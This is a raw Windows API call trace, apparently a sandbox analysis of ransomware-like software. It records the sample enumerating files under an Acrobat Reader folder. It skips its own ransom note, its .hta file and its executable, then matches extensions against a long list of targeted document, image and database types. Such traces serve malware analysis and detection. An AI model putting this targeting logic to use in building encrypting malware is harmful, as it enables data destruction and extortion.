	[0173.634] lstrcmpiW (lpString1="ntdetect.com", lpString2="faf-main.css") returned 1
	[0173.635] lstrcmpiW (lpString1="io.sys", lpString2="faf-main.css") returned 1
	[0173.635] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="faf-main.css") returned 1
	[0173.635] lstrcmpiW (lpString1="Info.hta", lpString2="faf-main.css") returned 1
	[0173.635] lstrcmpiW (lpString1="fvppjh.exe", lpString2="faf-main.css") returned 1
	[0173.635] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\css\\faf-main.css") returned 115
	[0173.635] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x767bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="faf-main.css", cAlternateFileName="")) returned 0
	[0173.635] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0173.635] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.635] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="img", cAlternateFileName="")) returned 1
	[0173.837] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img") returned 102
	[0173.837] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img") returned 1
	[0173.837] lstrlenW (lpString="img") returned 3
	[0173.837] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="img") returned -1
	[0173.837] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4210458
	[0173.838] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img") returned 102
	[0173.838] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\*", lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140898
	[0173.838] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.838] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4cd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adobe_sign_tag.png", cAlternateFileName="ADOBE_~1.PNG")) returned 1
	[0173.838] lstrlenW (lpString="adobe_sign_tag.png") returned 18
	[0173.838] lstrlenW (lpString=".1cd") returned 4
	[0173.838] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0173.838] lstrlenW (lpString=".3ds") returned 4
	[0173.838] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1
	[0173.838] lstrlenW (lpString=".3fr") returned 4
	[0173.838] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1
	[0173.838] lstrlenW (lpString=".3g2") returned 4
	[0173.838] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1
	[0173.838] lstrlenW (lpString=".3gp") returned 4
	[0173.838] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1
	[0173.839] lstrlenW (lpString=".7z") returned 3
	[0173.839] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0173.839] lstrlenW (lpString=".accda") returned 6
	[0173.839] lstrcmpiW (lpString1=".accda", lpString2="ag.png") returned -1
	[0173.839] lstrlenW (lpString=".accdb") returned 6
	[0173.839] lstrcmpiW (lpString1=".accdb", lpString2="ag.png") returned -1
	[0173.839] lstrlenW (lpString=".accdc") returned 6
	[0173.839] lstrcmpiW (lpString1=".accdc", lpString2="ag.png") returned -1
	[0173.839] lstrlenW (lpString=".accde") returned 6
	[0173.839] lstrcmpiW (lpString1=".accde", lpString2="ag.png") returned -1
	[0173.839] lstrlenW (lpString=".accdt") returned 6
	[0173.839] lstrcmpiW (lpString1=".accdt", lpString2="ag.png") returned -1
	[0173.839] lstrlenW (lpString=".accdw") returned 6
	[0173.839] lstrcmpiW (lpString1=".accdw", lpString2="ag.png") returned -1
	[0173.839] lstrlenW (lpString=".adb") returned 4
	[0173.839] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1
	[0173.839] lstrlenW (lpString=".adp") returned 4
	[0173.839] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1
	[0173.839] lstrlenW (lpString=".ai") returned 3
	[0173.839] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1
	[0173.839] lstrlenW (lpString=".ai3") returned 4
	[0173.839] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1
	[0173.839] lstrlenW (lpString=".ai4") returned 4
	[0173.839] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1
	[0173.839] lstrlenW (lpString=".ai5") returned 4
	[0173.839] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1
	[0173.839] lstrlenW (lpString=".ai6") returned 4
	[0173.839] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1
	[0173.839] lstrlenW (lpString=".ai7") returned 4
	[0173.839] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1
	[0173.839] lstrlenW (lpString=".ai8") returned 4
	[0173.839] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1
	[0173.839] lstrlenW (lpString=".anim") returned 5
	[0173.840] lstrcmpiW (lpString1=".anim", lpString2="g.png") returned -1
	[0173.840] lstrlenW (lpString=".arw") returned 4
	[0173.840] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1
	[0173.840] lstrlenW (lpString=".as") returned 3
	[0173.840] lstrcmpiW (lpString1=".as", lpString2="png") returned -1
	[0173.840] lstrlenW (lpString=".asa") returned 4
	[0173.840] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1
	[0173.840] lstrlenW (lpString=".asc") returned 4
	[0173.840] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1
	[0173.840] lstrlenW (lpString=".ascx") returned 5
	[0173.840] lstrcmpiW (lpString1=".ascx", lpString2="g.png") returned -1
	[0173.840] lstrlenW (lpString=".asm") returned 4
	[0173.840] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1
	[0173.840] lstrlenW (lpString=".asmx") returned 5
	[0173.840] lstrcmpiW (lpString1=".asmx", lpString2="g.png") returned -1
	[0173.840] lstrlenW (lpString=".asp") returned 4
	[0173.840] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1
	[0173.840] lstrlenW (lpString=".aspx") returned 5
	[0173.840] lstrcmpiW (lpString1=".aspx", lpString2="g.png") returned -1
	[0173.840] lstrlenW (lpString=".asr") returned 4
	[0173.840] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1
	[0173.840] lstrlenW (lpString=".asx") returned 4
	[0173.840] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1
	[0173.840] lstrlenW (lpString=".avi") returned 4
	[0173.840] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1
	[0173.840] lstrlenW (lpString=".avs") returned 4
	[0173.840] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1
	[0173.840] lstrlenW (lpString=".backup") returned 7
	[0173.840] lstrcmpiW (lpString1=".backup", lpString2="tag.png") returned -1
	[0173.841] lstrlenW (lpString=".bak") returned 4
	[0173.841] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1
	[0173.841] lstrlenW (lpString=".bay") returned 4
	[0173.841] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1
	[0173.841] lstrlenW (lpString=".bd") returned 3
	[0173.841] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1
	[0173.841] lstrlenW (lpString=".bin") returned 4
	[0173.841] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1
	[0173.841] lstrlenW (lpString=".bmp") returned 4
	[0173.841] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1
	[0173.841] lstrlenW (lpString=".bz2") returned 4
	[0173.841] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0173.841] lstrlenW (lpString=".c") returned 2
	[0173.841] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1
	[0173.841] lstrlenW (lpString=".cdr") returned 4
	[0173.841] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1
	[0173.841] lstrlenW (lpString=".cer") returned 4
	[0173.841] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1
	[0173.841] lstrlenW (lpString=".cf") returned 3
	[0173.841] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1
	[0173.841] lstrlenW (lpString=".cfc") returned 4
	[0173.841] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1
	[0173.841] lstrlenW (lpString=".cfm") returned 4
	[0173.841] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1
	[0173.841] lstrlenW (lpString=".cfml") returned 5
	[0173.841] lstrcmpiW (lpString1=".cfml", lpString2="g.png") returned -1
	[0173.841] lstrlenW (lpString=".cfu") returned 4
	[0173.841] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".chm") returned 4
	[0173.842] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".cin") returned 4
	[0173.842] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".class") returned 6
	[0173.842] lstrcmpiW (lpString1=".class", lpString2="ag.png") returned -1
	[0173.842] lstrlenW (lpString=".clx") returned 4
	[0173.842] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".config") returned 7
	[0173.842] lstrcmpiW (lpString1=".config", lpString2="tag.png") returned -1
	[0173.842] lstrlenW (lpString=".cpp") returned 4
	[0173.842] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".cr2") returned 4
	[0173.842] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".crt") returned 4
	[0173.842] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".crw") returned 4
	[0173.842] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".cs") returned 3
	[0173.842] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1
	[0173.842] lstrlenW (lpString=".css") returned 4
	[0173.842] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".csv") returned 4
	[0173.842] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".cub") returned 4
	[0173.842] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".dae") returned 4
	[0173.842] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1
	[0173.842] lstrlenW (lpString=".dat") returned 4
	[0173.843] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".db") returned 3
	[0173.843] lstrcmpiW (lpString1=".db", lpString2="png") returned -1
	[0173.843] lstrlenW (lpString=".dbf") returned 4
	[0173.843] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".dbx") returned 4
	[0173.843] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".dc3") returned 4
	[0173.843] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".dcm") returned 4
	[0173.843] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".dcr") returned 4
	[0173.843] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".der") returned 4
	[0173.843] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".dib") returned 4
	[0173.843] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".dic") returned 4
	[0173.843] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".dif") returned 4
	[0173.843] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".divx") returned 5
	[0173.843] lstrcmpiW (lpString1=".divx", lpString2="g.png") returned -1
	[0173.843] lstrlenW (lpString=".djvu") returned 5
	[0173.843] lstrcmpiW (lpString1=".djvu", lpString2="g.png") returned -1
	[0173.843] lstrlenW (lpString=".dng") returned 4
	[0173.843] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".doc") returned 4
	[0173.843] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0173.843] lstrlenW (lpString=".docm") returned 5
	[0173.843] lstrcmpiW (lpString1=".docm", lpString2="g.png") returned -1
	[0173.843] lstrlenW (lpString=".docx") returned 5
	[0173.843] lstrcmpiW (lpString1=".docx", lpString2="g.png") returned -1
	[0173.843] lstrlenW (lpString=".dot") returned 4
	[0173.844] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".dotm") returned 5
	[0173.844] lstrcmpiW (lpString1=".dotm", lpString2="g.png") returned -1
	[0173.844] lstrlenW (lpString=".dotx") returned 5
	[0173.844] lstrcmpiW (lpString1=".dotx", lpString2="g.png") returned -1
	[0173.844] lstrlenW (lpString=".dpx") returned 4
	[0173.844] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".dqy") returned 4
	[0173.844] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".dsn") returned 4
	[0173.844] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".dt") returned 3
	[0173.844] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1
	[0173.844] lstrlenW (lpString=".dtd") returned 4
	[0173.844] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".dwg") returned 4
	[0173.844] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".dwt") returned 4
	[0173.844] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".dx") returned 3
	[0173.844] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1
	[0173.844] lstrlenW (lpString=".dxf") returned 4
	[0173.844] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".edml") returned 5
	[0173.844] lstrcmpiW (lpString1=".edml", lpString2="g.png") returned -1
	[0173.844] lstrlenW (lpString=".efd") returned 4
	[0173.844] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".elf") returned 4
	[0173.844] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".emf") returned 4
	[0173.844] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1
	[0173.844] lstrlenW (lpString=".emz") returned 4
	[0173.844] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".epf") returned 4
	[0173.845] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".eps") returned 4
	[0173.845] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".epsf") returned 5
	[0173.845] lstrcmpiW (lpString1=".epsf", lpString2="g.png") returned -1
	[0173.845] lstrlenW (lpString=".epsp") returned 5
	[0173.845] lstrcmpiW (lpString1=".epsp", lpString2="g.png") returned -1
	[0173.845] lstrlenW (lpString=".erf") returned 4
	[0173.845] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".exr") returned 4
	[0173.845] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".f4v") returned 4
	[0173.845] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".fido") returned 5
	[0173.845] lstrcmpiW (lpString1=".fido", lpString2="g.png") returned -1
	[0173.845] lstrlenW (lpString=".flm") returned 4
	[0173.845] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".flv") returned 4
	[0173.845] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".frm") returned 4
	[0173.845] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".fxg") returned 4
	[0173.845] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".geo") returned 4
	[0173.845] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".gif") returned 4
	[0173.845] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".grs") returned 4
	[0173.845] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1
	[0173.845] lstrlenW (lpString=".gz") returned 3
	[0173.845] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1
	[0173.845] lstrlenW (lpString=".h") returned 2
	[0173.846] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1
	[0173.846] lstrlenW (lpString=".hdr") returned 4
	[0173.846] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".hpp") returned 4
	[0173.846] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".hta") returned 4
	[0173.846] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".htc") returned 4
	[0173.846] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".htm") returned 4
	[0173.846] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".html") returned 5
	[0173.846] lstrcmpiW (lpString1=".html", lpString2="g.png") returned -1
	[0173.846] lstrlenW (lpString=".icb") returned 4
	[0173.846] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".ics") returned 4
	[0173.846] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".iff") returned 4
	[0173.846] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".inc") returned 4
	[0173.846] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".indd") returned 5
	[0173.846] lstrcmpiW (lpString1=".indd", lpString2="g.png") returned -1
	[0173.846] lstrlenW (lpString=".ini") returned 4
	[0173.846] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".iqy") returned 4
	[0173.846] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".j2c") returned 4
	[0173.846] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".j2k") returned 4
	[0173.846] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1
	[0173.846] lstrlenW (lpString=".java") returned 5
	[0173.846] lstrcmpiW (lpString1=".java", lpString2="g.png") returned -1
	[0173.847] lstrlenW (lpString=".jp2") returned 4
	[0173.847] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".jpc") returned 4
	[0173.847] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".jpe") returned 4
	[0173.847] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".jpeg") returned 5
	[0173.847] lstrcmpiW (lpString1=".jpeg", lpString2="g.png") returned -1
	[0173.847] lstrlenW (lpString=".jpf") returned 4
	[0173.847] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".jpg") returned 4
	[0173.847] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".jpx") returned 4
	[0173.847] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".js") returned 3
	[0173.847] lstrcmpiW (lpString1=".js", lpString2="png") returned -1
	[0173.847] lstrlenW (lpString=".jsf") returned 4
	[0173.847] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".json") returned 5
	[0173.847] lstrcmpiW (lpString1=".json", lpString2="g.png") returned -1
	[0173.847] lstrlenW (lpString=".jsp") returned 4
	[0173.847] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".kdc") returned 4
	[0173.847] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".kmz") returned 4
	[0173.847] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".kwm") returned 4
	[0173.847] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".lasso") returned 6
	[0173.847] lstrcmpiW (lpString1=".lasso", lpString2="ag.png") returned -1
	[0173.847] lstrlenW (lpString=".lbi") returned 4
	[0173.847] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1
	[0173.847] lstrlenW (lpString=".lgf") returned 4
	[0173.848] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".lgp") returned 4
	[0173.848] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".log") returned 4
	[0173.848] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".m1v") returned 4
	[0173.848] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".m4a") returned 4
	[0173.848] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".m4v") returned 4
	[0173.848] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".max") returned 4
	[0173.848] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".md") returned 3
	[0173.848] lstrcmpiW (lpString1=".md", lpString2="png") returned -1
	[0173.848] lstrlenW (lpString=".mda") returned 4
	[0173.848] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".mdb") returned 4
	[0173.848] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".mde") returned 4
	[0173.848] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".mdf") returned 4
	[0173.848] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".mdw") returned 4
	[0173.848] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".mef") returned 4
	[0173.848] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".mft") returned 4
	[0173.848] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".mfw") returned 4
	[0173.848] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".mht") returned 4
	[0173.848] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1
	[0173.848] lstrlenW (lpString=".mhtml") returned 6
	[0173.849] lstrcmpiW (lpString1=".mhtml", lpString2="ag.png") returned -1
	[0173.849] lstrlenW (lpString=".mka") returned 4
	[0173.849] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1
	[0173.849] lstrlenW (lpString=".mkidx") returned 6
	[0173.849] lstrcmpiW (lpString1=".mkidx", lpString2="ag.png") returned -1
	[0173.849] lstrlenW (lpString=".mkv") returned 4
	[0173.849] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1
	[0173.849] lstrlenW (lpString=".mos") returned 4
	[0173.849] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1
	[0173.849] lstrlenW (lpString=".mov") returned 4
	[0173.849] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1
	[0173.849] lstrlenW (lpString=".mp3") returned 4
	[0173.849] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1
	[0173.849] lstrlenW (lpString=".mp4") returned 4
	[0173.849] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1
	[0173.849] lstrlenW (lpString=".mpeg") returned 5
	[0173.849] lstrcmpiW (lpString1=".mpeg", lpString2="g.png") returned -1
	[0173.852] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.852] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.853] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0173.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.853] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 1
	[0173.855] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
